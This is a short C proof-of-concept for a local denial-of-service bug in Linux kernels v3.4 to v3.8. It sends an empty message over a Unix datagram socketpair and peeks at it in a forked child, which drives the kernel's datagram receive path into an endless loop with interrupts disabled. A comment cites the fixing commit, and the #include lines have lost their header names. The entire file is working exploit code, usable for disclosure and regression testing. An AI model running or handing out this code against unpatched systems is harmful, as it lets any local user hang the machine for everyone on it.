/* Local DOS from v3.4 to v3.8 - endless loop with interrupts disabled. * * Fixed in commit 77c1090 "net: fix infinite loop in __skb_recv_datagram()" * * - minipli */ #include #include #include #include #include #include int main(void) { struct msghdr msg; int sock[2]; int err; err = socketpair(AF_UNIX, SOCK_DGRAM, 0, sock); if (err) { perror("socketpair"); exit(1); } memset(&msg, 0, sizeof(msg)); switch (fork()) { default: /* parent, send empty message */ err = sendmsg(sock[0], &msg, 0); if (err) { perror("sendmsg"); exit(1); } close(sock[0]); printf("msg send, waiting for child...\n"); wait(NULL); exit(0); case 0: /* child - should deadlock here */ err = recvmsg(sock[1], &msg, MSG_PEEK); if (err < 0) { perror("recvmsg"); exit(1); } printf("recvmsg returned, bug fixed?!\n"); close(sock[1]); exit(0); case -1: perror("fork"); exit(1); } return 0; }